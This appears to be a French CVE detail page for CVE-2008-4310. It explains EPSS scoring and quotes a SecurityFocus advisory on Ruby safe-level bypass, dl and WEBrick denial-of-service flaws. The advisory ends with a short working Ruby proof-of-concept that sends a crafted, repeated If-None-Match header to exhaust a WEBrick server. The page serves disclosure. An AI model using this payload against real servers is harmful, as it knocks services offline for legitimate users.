CVE-2008-4310 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/30644/info Ruby is prone to multiple vulnerabilities that can be leveraged to bypass security restrictions or cause a denial of service: - Multiple security-bypass vulnerabilities occur because of errors in the 'safe level' restriction implementation. Attackers can leverage these issues to make insecure function calls and perform 'Syslog' operations. - An error affecting 'WEBrick::HHTP::DefaultFileHandler' can exhaust system resources and deny service to legitimate users. - A flaw in 'dl' can allow attackers to call unauthorized functions. Attackers can exploit these issues to perform unauthorized actions on affected applications. This may aid in compromising the application and possibly the underlying computers. Attackers can also cause denial-of-service conditions. These issues affect Ruby 1.8.5, 1.8.6-p286, 1.8.7-p71, and 1.9 r18423. Prior versions are also vulnerable. #-- Exploitable Server -- # require 'webrick' # WEBrick::HTTPServer.new(:Port => 2000, :DocumentRoot => "/etc").start #-- Attack -- require 'net/http' res = Net::HTTP.start("localhost", 2000) { |http| req = Net::HTTP::Get.new("/passwd") req['If-None-Match'] = %q{meh=""} + %q{foo="bar" } * 100 http.request(req) } p res